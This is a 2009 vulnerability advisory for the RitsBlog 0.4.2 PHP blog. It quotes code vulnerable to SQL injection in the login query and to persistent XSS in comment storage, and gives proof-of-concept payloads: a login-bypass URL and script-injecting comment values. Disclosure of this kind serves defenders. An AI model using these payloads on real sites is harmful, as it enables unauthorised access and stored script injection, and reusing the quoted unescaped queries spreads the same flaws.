******* Salvatore "drosophila" Fresta *******
[+] Application: RitsBlog
[+] Version: 0.4.2
[+] Website: http://sourceforge.net/projects/ritsblog/
[+] Bugs: [A] SQL Injection
[B] XSS Persistent
[+] Exploitation: Remote
[+] Date: 02 Mar 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx_at_gmail.com
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[+] Menu
- [1] Bugs
- [2] Code
- [3] Fix
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[+] Bugs
- [A] SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: ritsBlogAdmin.class.php
This blog is entirely vulnerable to SQL Injection.
The following is the vulnerable query that can be
used to bypass authentication.
In jobs.php:
if ($_GET[j] == "login"){
if ($blog -> login($_GET[p])){
$_SESSION[loggedin] = "ok";
$_SESSION[userID] = $blog -> userID;
echo "Password found. Loging in...";
....
In ritsBlogAdmin.class.php:
function login($password){
global $db;
$sql = "select * from users where secretWord = '$password'";
...
}
- [B] XSS Persistent
[-] Requisites: none
[-] File affected: ritsBlogAdmin.class.php
In jobs.php:
if ($_POST[j] == "addComment"){
echo $blog -> addComment($_POST[id], $_POST[name],
$_POST[body]);
}
In ritsBlogAdmin.class.php
function addComment($id, $name, $body){
global $db;
$sql = "INSERT INTO comments (name, postID, date, text)
VALUES('" . addslashes($name) . "','" . $id . "',NOW(),'" .
addslashes($body) . "')";
...
}
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[+] Code
- [A] SQL Injection
http://www.site.com/path/blogAdmin/jobs.php?j=login&p=1'or'1'='1
- [B] XSS Persistent
It is possible using forms in the index.php or
to send over POST method the following values:
?j=addComment&id=54&name=myname&body=<script>alert('XSS');</script>
or
?j=addComment&id=54&name=<script>alert('XSS');</script>&body=body
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[+] Fix
No fix.
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